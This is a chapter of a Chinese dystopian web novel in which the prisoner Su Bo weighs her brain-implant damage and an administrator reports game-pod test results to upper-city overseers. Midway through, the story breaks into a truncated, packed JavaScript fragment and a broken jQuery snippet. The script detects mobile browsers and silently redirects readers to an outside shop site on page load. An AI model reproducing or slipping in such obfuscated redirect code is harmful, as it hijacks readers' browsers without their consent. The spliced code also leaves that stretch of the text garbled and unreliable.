检查结果出来之后,安全员就不耐烦地将苏薄用铁链锁住牵出了检查室。
铁链的另一端是安全员的手,苏薄只需要反拉住铁链一扯,就能将安全员带倒。然后她又只需要把铁链在倒下的安全员脖子上缠上一圈,就能勒死这个不耐烦地安全员。
苏薄手心有点痒,她微微抬起手,随后又放了下去。
还不是时候。
达蒙和李悯人比苏薄更早结束检查,此刻正在检查室门口等着苏薄。
检查室的隔壁是肢体替换的手术室,站在检查室门口的几人能隐约听见手术室手术室传来了奇怪的剁肉声。
这一季度的大采集已经过去了,此刻手术室里也不知道是在做什么手术。
但左右和他们没有关系。
安全员将苏薄脖子上的铁链和李悯人的铁链接到一起,然后拉着三人回到了劣种舍。
“哎,我这次脑械损伤又上升了3%。快到危险值了都。”李悯人拍了拍自己的脸,然后看向了苏薄。
“你咋样啊苏薄。”
这似乎不是什么值得隐瞒的事情,于是苏薄照实说了:“55%”
达蒙担忧地皱眉,自从绿芜没有从游戏舱出来之后,达蒙总爱皱眉。
“太高了,苏薄。再这样下去最多经历两次测试你就会疯掉。”
其实苏薄没觉得脑械损伤增加对她有什么影响,按道理负面的影响是循序渐进的,总不能突然有天醒来,就变疯吧。
但事实就是这么离谱,达蒙说当脑械损伤达到80%,人就会突然变疯。
机器说坏就坏,不会给人准备修理的机会。所以参与测试后的每一次检查都要仔细听自己的检查结果。
劣等种体内的脑械就是定时炸弹。
苏薄靠在栅栏上微微扬起了头。头上是幕布般漆黑厚重的天空,而疯子的生活就是日复一日地看着头顶那片黑暗直到被销毁。
她不喜欢脑子里有颗炸弹的感觉。得想法子弄掉这玩意。
没有劣等种不想摘除脑械。但自从他们被流放到下城区,就意味着脑械的存在将贯穿他们的一生。
“弄不掉吗?这玩意。”苏薄扭了扭脖子,指着自己的头问道。
“不知道,除非你能从下城区出去。但在下城区绝对找不到弄掉脑械的方法。在这里所有想弄掉脑械的最后都成为了同一种人。”说话的是李悯人。
“哦。”倒也没有很失望,苏薄淡定地点头。
“你怎么不问我是哪种人!”李悯人跳脚。
“死人吧。”很好猜的答案,苏薄才懒得问。
被抢答的李悯人:“......”
“总之你下次参加测试尽量别增大脑械的损伤了。”李悯人无奈地回到了最初的话题。
其实根本不清楚自己的脑械为什么会损伤的苏薄没说话,站在原地用那双睫毛下垂的眼睛看着李悯人。
李悯人看着那双木然中透露出无辜的眼睛突然福至心灵:“你不会不知道怎么控制损伤吧?”
“嗯。”
“怪我,我忘记给苏薄说了。”达蒙插话,然后叹了口气。
“脑械的用途是控制我们的意识,要减少损伤,就要最大程度顺从它的控制。你可以将脑械理解成铁笼,意识就是被关在铁笼里的东西,你的意识越挣扎,铁笼就会加重损坏。所以在测试里,不到万不得已的情况我们是不会反抗的。只是这次的测试实在太过危险了。”
如果一昧顺应光屏的指示,他们现在也不能继续站在这里。
“希望下次不被挑到这种测试里。”李悯人想起游戏场内的情景依旧心有余悸。
但他明白这次的测试十有八九只是开始。
如果这次测试的游戏舱真的是为他们准备的,为了满足上城区人的癖好,下城区会用无数劣等种的性命往游戏舱里填,直到他们厌倦这样的玩法为止。
他们就是砖,哪里有用往哪搬。
苏薄在脑子里问了下自己的触手能不能看见脑械在哪里。
触手茫然地抬起来缠在苏薄头上。
它底部的吸盘吸住了苏薄的头发,担心被李悯人看出异样,苏薄只能用手将头发压住。
“找到了没?”
触手加快了在苏薄头上盘绕的动作。
“没有,没有。”
“什么也看不见。”
触手似乎也很疑惑自己的透视能力为什么会失效,它萎靡地缩了回来,刚才对苏薄的脑袋使用能力花费了它很大的力气。
它感觉自己又累又困。
触手消耗的能量也是苏薄的能量,于是在触手犯困的瞬间苏薄也打了个哈欠。是所有人的脑袋里的脑械都无法被看到,还是只有她的不能被看到?
本想让触手看看李悯人的脑袋来验证一下自己的猜想,但随即苏薄便反应过来,旁人虽然看不见触手,但未必不能感受到触手的存在。
苏薄想到了离开前被她杀死的光头,她看向了之前放置光头的地面,但此刻光头的尸体已经消失了,地面上只剩一小摊血迹,大约是在他们去检查室的时候被安全员回收的。
可惜了,等下次死了人再试吧。苏薄将视线从地面挪开,总觉得自己似乎忘记了什么。
嗯,想不起来。
苏薄走了几步拉开了和李悯人他们的距离,随后坐在了她常睡觉的地方。李悯人似乎正在和达蒙说着他那些槽糕的冷笑话,苏薄能看见达蒙时不时抽搐的嘴角。
大概又是那种绿豆跳楼会失血过多变成红豆的笑话。
既然下城区找不到取出脑械的办法,那上城区呢?
苏薄想到李悯人之前听到的消息,若有所思地闭上了眼睛。
-
D区的管理员将游戏舱拟测试的结果整理出来,然后打开光脑进入了上城区的意识会议。
意识会议大厅呈圆形。意识会议模糊了所有参会人的形象,管理员周围漂浮着几个不同颜色的光团。他是红色的那个。
除了管理员外,其他的光团都来自上城区,下城区另外三个区的人并没有参与会议。由于每次接入意识会议时生成的光团颜色都是随机的,管理员也分不清这里的光团谁是谁。
他唯一能分清的,是明显漂浮在所有光团上方的那个白色光团,他是本次会议的主持者,也是上城区所有娱乐项目的管理者——应先生。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234881|151411||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>在管理员对上城区有限的认知里,他掌管上城区居民情绪的“神”。
人还没到齐,应先生的意识光团毫无动静地悬在管理员头顶。
管理员平静地等待着会议开始。周围没有人说话,很安静。
随后又陆陆续续地浮现了三个光团,头顶的白色光团终于动了,它向下沉了沉,随后开口。
“D277号。”
这是D区管理员的编号,上城区的人习惯这样称呼下城区的居民,哪怕他是D区的管理者,也不能叫上城区记住名字。
“在,应先生。”红色光团恭敬地回答。
“开始你的汇报吧。”
“收到,应先生。本次D区针对新型游戏舱的拟测试共计投入200名D区劣等种,测试范围包括:游戏舱智能运算调整、脑械接口兼容性、上城区虚拟观众满意值等方面。”
“通过200名劣等种所对应的监视屏,发现有劣等种通过损伤脑械,意外影响运行代码,造成智能运算结果外的分支结局出现。是否需要调整游戏舱对脑械的控制指数有待考量。”
“除此之外,完全受接口控制的劣等种均达成了运算中结局,虚拟观众满意值达到目标水平,但在劣等种死亡期间满意值呈直线下滑。”
“虽然有极少数劣等种脱离了运行结局,但游戏内底层运行逻辑不受影响,而且我们发现这部分劣等种的虚拟观众满意度会在下滑后缓慢回升,最终满意度难以智能估测,是个未知值,但应该不会低于50%。系统最后给出的平均估值在及格线上下浮动。”
“应先生,游戏舱的脑械的控制值是否需要下调?”
管理员说完心虚地抬头看向头顶的白色光团,担心会受到责骂。
任谁也想不到会有劣等种在游戏舱内想方设法脱离控制,最后还成功了。
光团没有立马回话,而是询问了其他人的看法。
管理员的话在光团内激起了轩然大波,上城区的人似乎完全不理解那些试图反抗游戏舱控制的劣等种,在他们眼里,劣等种都应该像牛羊一样温顺,毫无人格且对测试中的一切逆来顺受。
其中一个绿色的光团语气不满地看着管理员:“一开始就不应该设定脑械控制值这个东西,既然要让他们当演员就老老实实按照剧本来演。”
管理员不敢说话,他哪里做的了这个主,一切都是应先生的安排。
另一边的黄色光团嗤笑一声接过了话:“你懂什么,这次项目的初衷是推出劣等种真人秀,完全按照台本演的真人秀哪有他们自己演出来的精彩。你当上城区的观众是傻子,看不出来他们有没有被完全控制,一言一行里有没有自我意识吗?”
黄色光团内的意识是个女人,绿色光团似乎听出了她的声音,一时间没敢说话。
应先生见二人吵完慢悠悠地开了口:“D277,你刚才说达成游戏舱运算结局的劣等种的观众满意度,会在结局完成后逐渐下降是吗。”
“是的应先生,这部分劣等种的满意度峰值大概在结局进度的30%左右,达到了77,但随着结局进度推进,满意度最终会下降到20。”但管理员也不知道为什么会出现这样的状况。